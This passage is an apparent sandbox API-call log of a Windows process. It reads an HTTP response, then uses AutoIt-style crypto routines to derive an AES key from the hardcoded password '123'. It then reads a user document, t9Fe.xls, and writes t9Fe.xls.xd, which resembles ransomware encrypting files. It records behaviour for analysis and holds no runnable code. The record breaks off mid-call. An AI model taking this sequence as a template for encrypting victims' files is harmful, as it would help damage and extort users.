1 [0073.357] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.357] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.357] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.357] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.357] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.358] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.358] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.358] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.358] CloseHandle (hObject=0x0) returned 0 [0073.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.358] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0073.358] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.359] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.359] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.359] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.359] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.359] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.359] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.360] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.360] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa450) returned 1 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.361] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.361] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.362] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.362] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.362] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.362] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.362] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.362] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.362] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.362] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.362] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.362] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.363] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.363] CryptCreateHash (in: hProv=0x17aa450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.387] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629340, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.387] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.387] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.388] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.388] CryptHashData (hHash=0x164c4f0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.388] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.388] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.388] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.388] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.388] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.388] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.389] CryptDeriveKey (in: hProv=0x17aa450, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.389] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.389] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.389] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.389] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0073.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.389] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.390] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t9fe.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.390] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.390] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.390] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0073.391] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t9fe.xls.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.396] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.396] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xb471, lpOverlapped=0x0) returned 1 [0073.397] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.400] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.400] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.401] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.401] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.401] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.401] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.401] WideCharToMultiByte (in: CodePage=0x0, 